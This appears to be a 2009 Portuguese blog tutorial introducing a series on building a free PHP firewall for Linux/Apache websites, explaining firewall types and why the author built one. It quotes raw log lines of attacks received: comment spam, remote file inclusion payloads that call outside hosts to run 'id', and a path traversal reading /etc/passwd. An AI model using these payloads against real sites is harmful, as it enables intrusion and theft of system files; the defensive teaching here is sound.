Oficina
Firewall - Introdução
Seg 16 Mar 2009 16:34 |
- Detalhes
- Categoria: Oficina Firewall
- Atualização: Quarta, 18 Março 2009 20:33
- Autor: vovó Vicki
- Acessos: 7096
Podemos usar um firewall para proteger nosso site de ataques e intromissões indesejadas sem gastar um tostão? A resposta é sim! Nesta série de artigos vou mostrar como criar um firewall em PHP que pode ser implementado em qualquer tipo de site hospedado num servidor Linux.
Se tiver interesse neste assunto, minha sugestão é que você leia os artigos na sequência apresentada por que cada tutorial depende dos conhecimentos adquiridos nos anteriores e também por que o firewall vai sendo melhorado passo a passo na mesma sequência.
O que é um firewall
Antes de mais nada é preciso ter uma idéia bastante clara do que vem a ser um firewall. A tradução de firewall é parede de fogo, ou seja, é um aceiro ou quebra-fogo que evita que um incêndio se alastre. Definindo de uma forma bem genérica e bastante simplificada, um firewall é um sistema que impede acessos não autorizados. Um "quebra-fogo" pode ser implementado por software, hardware ou os dois e normalmente atua entre um rede interna e uma rede externa.
Existem várias técnicas de firewall:
- Filtragem de pacotes: o sistema analisa cada um dos pacotes que entram ou saem da rede interna e os aceita ou rejeita de acordo com regras pré-estabelecidas. Por exemplo, se uma regra for descartar todos os pacotes com endereço de origem 10.20.30.40, toda vez que um pacote deste tipo passar pelo firewall, ele será descartado.
- Gateway em nível de circuito: este processo aplica mecanismos de segurança para estabelecer uma conexão TCP ou UDP. Se a conexão for permitida, a partir daí todos os pacotes podem transitar livremente sem nenhum outro tipo de checagem.
- Servidor proxy: é um tipo de gateway que esconde o verdadeiro endereço de rede dos computadores que se conectam através do proxy. Além de gerenciar as solicitações e respostas, o proxy também pode ser configurado para atuar como um firewall.
Na prática, muitos firewalls usam duas ou mais destas técnicas. Um firewall, monitorando o tráfego de rede e as conexões, protege informações privadas. Não é uma solução completa, mas é a primeira linha de defesa de um sistema mais amplo de proteção.
O projeto quebra-fogo
O projeto quebra-fogo nasceu da experiência que fui adquirindo nas várias tentativas que fiz para tentar bloquear ataques aos meus sites. Resolvi agrupar os conhecimentos adquiridos em alguns tutoriais que mostram diversas possibilidades de eliminar ou minorar tentativas de invasão, injeções de código malicioso, spam de comentários e outras tantas pragas que atormentam administradores de redes e de sites.
Uma das minhas primeiras constatações foi que, quanto mais se conhece o inimigo, maior é a chance de ganhar a briga.
Requisitos básicos
Transferindo os conceitos de firewall para um servidor web, podemos projetar uma peça de software cuja função seja a de proteger um ou mais sites que estejam no mesmo servidor. Se conseguirmos analisar todas as requisições que o servidor web recebe e conseguirmos descartar as solicitações que põem o site, o banco de dados, o servidor web ou a máquina servidora em perigo, então temos um quebra-fogo especial. Este quebra-fogo, protegendo a integridade do sistema, colabora na proteção de informações privadas. Se a sua máquina já estiver atrás de um firewall, o quebra-fogo será uma segunda linha de defesa; caso contrário, ele será a primeira linha.
Para poder implementar o quebra-fogo aqui sugerido, existem alguns requisitos básicos:
- Sistema operacional: Linux.
- Servidor web: Apache.
- PHP: instalado como módulo do Apache.
- Site funcionando: o site pode ser estático ou dinâmico (Joomla, WordPress, Drupal ou qualquer outro CMS).
- Diretórios: acesso aos diretórios do site com permissão para criar novos diretórios e arquivos.
- Acesso a arquivos ocultos nos diretórios do site.
Se você contratou um serviço de hospedagem para o seu site, verifique cada um dos requisitos, especialmente o acesso a arquivos ocultos. Se você tiver um servidor dedicado, melhor ainda!
Não é obrigatório ter um banco de dados à disposição, mas, se tiver, o quebra-fogo pode ser bem mais elaborado.
Quem é o inimigo
Quem é o inimigo? Como ele se comporta? Quais são as vias usadas para atacar? Todas estas perguntas (e mais uma porção de outras) precisam ser respondidas antes de começar a por a mão na massa - precisamos destas respostas para direcionar nossas ações.
Um servidor web que esteja na zona desmilitarizada da Internet tem todo tipo de inimigo, desde larápios de senhas, meliantes de SSH, arrombadores de DNS até contrabandistas de código malicioso, assaltantes de CMS e exploradores de menores que se aproveitam de fraquezas de subsistemas como PHP, MySQL ou Apache. Tenha certeza de uma coisa: as máquinas que estão na grande rede, inclusive a sua, estão sujeitas a todo tipo de criaturas maléficas vindas de qualquer parte do planeta. Independente do idioma de cada um, todos usam a mesma linguagem de invasão.
Qual é o comportamento do inimigo? Ele é implacável, não conhece limites e ataca a qualquer hora do dia ou da noite. O inimigo não conhece fim de semana ou feriado e, hoje em dia, não se dá mais ao trabalho de ficar num computador tentando te infernizar. Ao invés disto, gasta seus neurônios para criar programas cada vez mais bem elaborados que fazem o trabalho duro e não se cansam nunca. Sei que isto está parecendo paranóia, mas não é o caso. Dê uma olhada nos seus arquivos de log (se é que você tem acesso a eles) para ver que não estou exagerando. A toda hora encontro coisas no meu arquivo de log do tipo:
77.222.40.43 | texto=comment5%2C+<a+href%3D+http%3A%2F%2Fbdru5.ru%2F217.html+>intv+ru<%2Fa>%2C+<a+href%3D+http%3A%2F%2Fbdru5.ru%2F52.html+>www+samok+net<%2Fa>%2C+<a+href%3D+http%3A%2F%2Fbdru5.ru%2F198.html+>ww+aif+ru<%2Fa>%2C+<a+href%3D+http%3A%2F%2Fbdru5.ru%2F381.html+>%EA%E0%EB%F3%E3%E0+ru<%2Fa>%2C+<a+href%3D+http%3A%2F%2Fbdru5.ru%2F271.html+>headhunter+ru<%2Fa>%2C+<a+href%3D+http%3A%2F%2Fbdru5.ru%2F134.html+>www+goszakaz+ru<%2Fa>%2C+<a+href%3D+http%3A%2F%2Fbdru5.ru%2F249.html+>%EF%EE%EB%FC%E7%EE%E2%E0%F2%E5%EB%E8+mail+ru<%2Fa>%2C+<a+href%3D+http%3A%2F%2Fbdru5.ru%2F150.html+>www+fc+ru<%2Fa>%2C+<a+href%3D+http%3A%2F%2Fbdru5.ru%2F62.html+>www+samsungmobile<%2Fa>%2C+&codigo=comment5%2C+<a+href%3D+http%3A%2F%2Fbdru5.ru%2F217.html+>intv+ru<%2Fa>%2C+<a+href%3D+http%3A%2F%2Fbdru5.ru%2F52.html+>www+samok+net<%2Fa>%2C+<a+href%3D+http%3A%2F%2Fbdru5.ru%2F198.html+>ww+aif+ru<%2Fa>%2C+<a+href%3D+http%3A%2F%2Fbdru5.ru%2F381.html+>%EA%E0%EB%F3%E3%E0+ru<%2Fa>%2C+<a+href%3D+http%3A%2F%2Fbdru5.ru%2F271.html+>headhunter+ru<%2Fa>%2C+<a+href%3D+http%3A%2F%2Fbdru5.ru%2F134.html+>www+goszakaz+ru<%2Fa>%2C+<a+href%3D+http%3A%2F%2Fbdru5.ru%2F249.html+>%EF%EE%EB%FC%E7%EE%E2%E0%F2%E5%EB%E8+mail+ru<%2Fa>%2C+<a+href%3D+http%3A%2F%2Fbdru5.ru%2F150.html+>www+fc+ru<%2Fa>%2C+<a+href%3D+http%3A%2F%2Fbdru5.ru%2F62.html+>www+samsungmobile<%2Fa>%2C+&A=&B=&C=&D=&E=&F=&G=&espa%C3%A7o=&H=&I=&J=&K=&L=&M=&N=&O=&P=&Q=&R=&S=&T=&U=&V=&W=&X=&Y=&Z=&limpa=
189.75.46.42 | c[components]=http://www.phantasmairc.hpgvip.ig.com.br/CMD.txt?&cmd=id
99.18.83.30 | option=http%3A%2F%2Fschoolpapers.hostinginfive.com%2Fbike.htm?
89.108.91.209 | u=../../../../../../../../../../../../../etc/passwd%00
Não sei se meus sites estão sendo extremamente visados (se sim, não saberia dizer por que), mas recebo quatro a cinco gracinhas deste tipo por hora. Entenderam por que resolvi tomar uma atitude?
Nível de atuação do quebra-fogo
Antes de entrar em maiores detalhes gostaria de deixar claro que NÃO existem sistemas de proteção infalíveis e o projeto quebra-fogo não é uma exceção. A proposta deste projeto é a de melhorar o nível de segurança do seu site monitorando apenas solicitações feitas via HTTP. Pode parecer pouco, mas você vai se admirar com a quantidade de lixo que se pode tirar do caminho com um sisteminha simples como este. Aliás, é de grão em grão que a galinha enche o papo e, em segurança da informação, a coisa não é muito diferente. É preferível ter uma porção de sistemas simples, colocados em vários níveis, do que um sistema único. Por mais parrudo que seja, se o sistema único falhar, a falha é de 100%; em sistemas distribuídos, o que escapa de um tem toda chance de ser pego pelos próximos.
O quebra-fogo vai ser escrito em PHP. O pulo do gato é fazer com que o script principal seja executado ANTES do Apache entregar as páginas do site. Se a solicitação for normal, a página solicitada será entregue; se a solicitação estiver bichada, o freguês será redirecionado para uma página especialmente preparada para ele. Pode ser uma página em branco, uma página com uma megera horrorosa, uma página com um aviso... o que você escolher.
Esta história de jogar o agressor para uma página específica e, desta forma, neutralizar seu ataque, já é uma boa medida, só que os arquivos de log vão continuar inchando com todos os registros destas barbaridades. Além disto, estes baderneiros de plantão vão poder repetir seus ataques quantas vezes quiserem, o que significa comer banda e introduzir lentidão no seu site. Agora, se você for um feliz possuidor de um servidor próprio ou for administrador de um servidor dedicado, aí a coisa pode ficar mais interessante. Tem como bater a porta no nariz deles e não deixar que nem cheguem perto do servidor web
Finalmentes
Esta foi apenas uma introdução ao assunto firewall. Para saber como criar seu próprio quebra-fogo sem gastar um tostão (tanto para sites hospedados quanto para sites em servidores próprios), leia os outros tutoriais da Oficina Firewall... e viva o software de código aberto e a liberdade de poder optar!
Grande abraço a todos da vó Vicki